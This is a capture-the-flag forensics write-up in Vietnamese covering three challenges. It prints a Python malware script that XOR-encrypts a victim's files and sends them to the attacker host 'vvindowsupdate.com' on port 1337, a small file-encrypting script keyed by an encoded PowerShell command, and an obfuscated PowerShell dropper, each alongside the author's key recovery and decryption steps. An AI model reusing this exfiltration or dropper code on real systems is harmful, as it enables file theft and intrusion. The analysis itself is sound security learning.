# 1337 Malware

**Giải pháp:**
* Theo như mô tả của bài , mình mở wireshark lên xem thì thấy victim đang tải xuống 1 file code python độc hại từ sever của attacker

Sau khi victim tải xuống và chạy file thử thì ta thấy ở giao thức `TCP` đang thực hiện cờ `PSH/Ack` push dữ liệu của victim về sever của attacker
* Bây giờ mình sẽ lấy file .py về phân tích hành vi:
```python=1
import socket
import base64
import os
from random import randbytes
from pwn import xor
# DON'T FORGET TO CHANGE THIS TO THE REAL KEY!!!!
key = randbytes(32)
def encrypt(filename):
f = open(filename, 'rb')
data = f.read()
f.close()
encrypted = xor(data, key)
return encrypted
def send_encrypted(filename):
print(f'sending {filename}')
data = encrypt(filename)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vvindowsupdate.com', 1337))
s.sendall((f'Sending: {filename}').encode())
s.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vvindowsupdate.com', 1337))
s.sendall(data)
s.close()
def get_all_files():
file_paths = []
for root, dirs, files in os.walk(os.path.dirname(os.path.realpath(__file__))):
for file in files:
file_paths.append(os.path.join(root, file))
file_paths.remove(__file__)
return file_paths
files = get_all_files()
for f in files:
send_encrypted(f)
#os.remove(f)
```
Phân tích:
* Đại khái là:
- Lặp qua các file trong thư mục của victim rồi đẩy vào hàm `send_encrypted()` rồi tiến hành mã hóa trong hàm `encrypt()` tiến hành xor data của file với 1 key ngẫu nhiêu 32 byte
- Tiến hành gửi đi đường dẫn tên file và data bị mã hóa tương ứng với file đó.
* Ban đầu thì mình dự tính bruteforce cái key nhưng mà thấy không khả quan lắm, mình nhận thấy điều thú vị để có thể tìm key 1 cách dễ dàng

* Đây chính là tệp khóa riêng được sử dụng trong SSH (Secure Shell) để xác thực người dùng với máy chủ từ xa
* Tệp id_rsa thường ở định dạng PEM (Thư nâng cao quyền riêng tư), là định dạng được mã hóa base64 được bao quanh bởi -----BEGIN OPENSSH PRIVATE KEY----- và -----END OPENSSH PRIVATE KEY ----- dòng
* Nên ý tưởng của mình bây giờ sẽ lấy data của file id_rsa xor với định dạng luôn có trong file là `-----BEGIN OPENSSH PRIVATE KEY-----`
* Dưới đây là đoạn script lấy key:
```python=1
from pwn import xor
format = b"-----BEGIN OPENSSH PRIVATE KEY-----"
data_enc = "afef7e7da6970900eeab4da38833fb85f76fe6155b4224a0ed341369bbb87474afef7e5ae9e60e2bc58b2396b93584a4fe7fad316d6137a0f8307263bca66c2fe0af0611ca940d02c58854998227f497e5668704484a33a3f830726092961818c383372ae8e72b33c48b67a2b037f497e566b100484a23a0f8306a67bf99681ab38f6a1effaf7e0c96842ebf8b40d080d37ea110435824a6cf28031686ca680eda946b29dcad191defb400a2e91dfee3972daf775a42278a9224470d86d42117ebb41c33d299023ff68d21839b1bc39fe77eb73d262441afec167154cf830c3fcdf5352ac7803876ceb4178aee4281b3954fe9137d5a348ab3205a6d95857635d2883629fca10b06e5974685b60fd3a0d57fae3c3d5e01b1f80276169885292eb7862563d9800600caae14a5950f818cec70f335444a0797f7276b5b9bb92c53c5f62a1ddaa72210909d0399a01dc5a5c8669e334f3c3da8961f59518ca06d31c0872434dba47b31ebbc5bbf9024efb9e55fa03c674735b1c13c627088a20b1ec79b301fbafe461de69f19a2b007ccb0d7408075516547a9c8175f66cd853c2ee7bb353cb9e42f32f5d109868835e492e96883234b794088fb074657d1a26b16d1b41503c9ac3826fd9f01a4ec7cd0e7d312f40c437a40a5f71d50738a8e2e28f6ab1005ffb17973ead628aeb704"
data_b = bytes.fromhex(data_enc)
key = xor(data_b, format * (len(data_b) // len(format) + 1))
hex_key = key[:32].hex()
print(hex_key)
```
key = `82c253508bd54c47a7e56decd876b5d6a427c645090b72e1b9713322fee15959`
* Bây giờ tiến hành đi giải mã các file đã mã hóa thôi:
- Ta thấy 1 file zip và 1 file .pdf khả nghi, mình sẽ tiến hành giải mã thôi:


* File khi giải mã:

Ta có thể thấy có 1 file chứa flag đang bị nén, mở ra thì yêu cầu mật khẩu
* Mình check thì thấy password trong file pdf và sau khi giải mã có được:

Tiến hành mở ra và lấy flag thôi:
**Flag:** `flag{c95c4ff18b0eb88123de779051a7a24f}`
# Taking Up Residence

**Giải pháp:**
* Bài này cung cấp cho mình 1 file và dùng lệnh `file` check nhưng không rõ định dạng là gì:

* Sau một hồi vọc vạnh trên gg thì biết được đây chính là định dạng file $MFT, tìm hiểu thêm về loại file này:
- Master File Table (MFT) MFT hoặc $MFT có thể được coi là một trong những tệp quan trọng nhất trong hệ thống tệp NTFS. Nó lưu giữ bản ghi của tất cả các tệp trong một ổ đĩa, vị trí của tệp trong thư mục, vị trí vật lý của tệp trên ổ đĩa và siêu dữ liệu của tệp.
* Mình sẽ dùng tool MFTECmd để chuyển file này sang dạng file excel để có thể check đường dẫn của 1 số file khả nghi cho dễ dàng:
* Tiến hành mở file excel(.csv) lên để xem:
- Mình sẽ tìm kiếm keyword là flag xem có gì thú vị không:
- 
- Ta thấy có 1 file tên `flag.txt` rất khả nghi nên mình sẽ check xem đường dẫn đến file đó: `/Users/User/Dowloads/flag.txt`
* Bây giờ mình sẽ dùng tool `MFT explorer` vào đường dẫn trên xem có gì nào:

Đây là nội dung file flag.txt nhưng dường như nó đã bị mã hóa, ngay bên dưới có 1 file rasom.py trông rất khả nghi nên mình sẽ tiến hành lấy về xem sao:
```python=1
from cryptography.fernet import Fernet
import subprocess
key = subprocess.run(["powershell", "-EncodedCommand", "RwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgByAGEAbgBzAG8AbQAuAHAAeQAiACAALQBTAHQAcgBlAGEAbQAgACIAawBlAHkAIgA="], capture_output=True, text=True).stdout.strip()
print(key)
with open('flag.txt', 'r') as reader:
message = reader.read()
f = Fernet(key)
encrypted_message = f.encrypt(message.encode())
print(encrypted_message)
with open('flag.txt', 'w') as writer:
writer.write(encrypted_message.decode('ascii'))
```
Ta có thể thấy đây chính là source để mã hóa file `flag.txt`:
Vì attacker đã dùng lệnh print để in ra key nên mình dễ dàng lấy được, Đây là key:

key = `62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU=`
* Bây giờ mình sẽ viết đoạn script bằng python để giải mã lấy flag thôi:
```python=1
from cryptography.fernet import Fernet
key = "62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU="
with open('flag_enc.txt', 'r') as reader:
message = reader.read() #gAAAAABmS9s32v5Ju181EaJhh2vYMsR6MJ31SK-9mDwgiCz3_MBWopjqqynjoY_-HNOw3tX1T3RthBZHz9ylmyqckZ0gUZ_6T7UUxprMHoCAaTV3m1q0weznBg98RL7dRVhRn0cX6Xta
f = Fernet(key)
decrypted_message = f.decrypt(message.encode())
print(decrypted_message)
with open('flag.txt', 'w') as writer:
writer.write(decrypted_message.decode())
```
**Flag:** `flag{a4096cd70d8859d38cf8e7487b4cd0fa}`
# LogJam

* Đề cung cấp cho mình các file sau:

Theo như mô tả:
* Ý tưởng mình sẽ phân tích xem trong file shortcut có gì từ đó => check các log có liên quan
* 
Hành vi của đoạn mã trên đang tải xuống file `not-malware.zip` mã độc kia và tiến hành thực thi => từ đây mình sẽ check log `Application.evtx` vì log này chịu trách nhiệm ghi lại các hành vi của phần mềm hành vi ứng dụng của người dùng
* Mình sẽ tìm keyword `zip` để xem có gì đặc biệt không:

Mình sẽ tiến hành lấy đoạn data này về decode xem, kết quả:
```
$u7fInY = [ChAr[]]")''nIOj-]2,11,3[eman.)'*Rdm*' elBAirav-TEg(( & |)93]rAhC[]gNIRTS[,)201]rAhC[+17]rAhC[+68]rAhC[((EcALper.)') (DnEOTdAEr.))iicsa::]gNIdoCNe.TxEt.mETSy'+'s[ , )'+')SsERpMocED::]eDOMNoISSerpMoC.NoIsSERpMOc.OI.metSYs'+'[ ,)'+'fGV=8w+2IX2i/'+'/Px+D1LdDdvgDHx0Da4rfSsissVDjqZXrXd'+'HwwgIMdd+b+'+'I2j3r4jNeKTYFX+H++mnP4L0u3sNsvJHmeAOLH88T030M0luhBzBIGCuwoZX7yZRbnbg7a174PITGc5Xlip/D/z6U5VZ7nO/APBWvIZYNhddwKDsG8A76A7fMef8'+'O6vMfncgC'+'i9gHHfQvjxq+y8Jibd+F+TdgqtK4HCOVjZg78/6RRhjg1A0YH4JIefd/ELkohlDo5GUdwKfiuZIDNFSfsr8Es9Z/T2gyyfY5K59mZ0WF/1ml58psO1MvbfWNxoNhpmDHyan05Am2y4XQm//iSEFVfHZE/Of8jPgvEPIfJ+ZwmLGNeVCUB3hMKc5n7cP713kzRx/a39WSVYB/eBqlcdk2QOQU30/PDdp9Yi3U3QRh8wg+eZu/T2XcjtA'+'3GZQ3AVQTpO6Zr2kvCRgKgVTrN7PANZe/RDBc+V8'+'EjJZgKCETT7pFpgWzmaCxrwq82DXSNNZ/FRZM'+'qDiCq2BulaQdboWAoa'+'H'+'n0EU9UD6QhrFOQRuu1yhr3lTRPcr5sjY428n3s/t5654O/iFOrvgegJUQFKfZ7RuYAQR1BPRah/TkpwdQwP7Z'+'D5HQ3rE'+'Gx'+'/KAZNGHAU9KCJBiglGYLkiq1xTF/iLXu0+kCybeHaht2u/syq0zKjeMn5vOIbvy+6mrt7/8qlTcm1'+'2CK1tomnNAb+cX6slpda2cm/tkFZfVajP/QGBalShL+o8ue/TBDiD9a+Nkx/V26O7cjU5Zx+9HW2'+'ie3y'+'FSiXK6C8TtKxk'+'T4E9fMU'+'KJgINRh32uWVr'+'JX'+'Lhyi2PAIkQJCiN1WUEqAFe/uljU8JPr4JbIqfDigSdZRClCUCfpHCrhUZY'+'4hy4ESnjVAtifBUTb/cgjdQmu/jWin+B2Wb54'+'PMHg8Oys'+'qv+'+'/Xbsn'+'67Hi5E3HcGbT78ftpLhAhuWQ7I0eCVg5pGNwVsJeiDejH/vXdKhUUdJcKbLa/Yx8mMFRqW5Wp1QhzszU2XlUqM7npZVGzssm55b4c2B5IB'+'QRZXnOiEzv/r5inQulI3WaFL0iX'+'Ij2JQ7cxOS1PXdLOEViOIqKYo93AXID8PQ+2PE4'+'s'+'9bpRVffGV (G'+'N'+'I'+'Rts46esa'+'BMOrF::]TrevNoC[]MAERTsYrOmeM.Oi'+'.meTsys[(mAErtseTALFed.nO'+'ISsErPmOc.oi.mETSy'+'s tcEjBO-weN ( (REdAerMaeRtS.oi.meTsy'+'S tcEjBO-weN ( nOIssERpXE-eKOVNi'("; [arRaY]::reverSe( ( VArIABle ('U7'+'fINY') -vA) );.( $VerbOSeprEfERencE.tOSTRing()[1,3]+'x'-JoiN'')( -JoIN( VArIABle ('U7'+'fINY') -vA) )
```
* Có vẻ đoạn powershell này đã bị obj mình sẽ dùng tool powerdecode để deobj nó lại:

Được 1 đoạn plaintext mã hóa base64 => đem decode lấy được flag
**Flag:** `flag{ca8c288d1395689577287ba3bf2649ad}`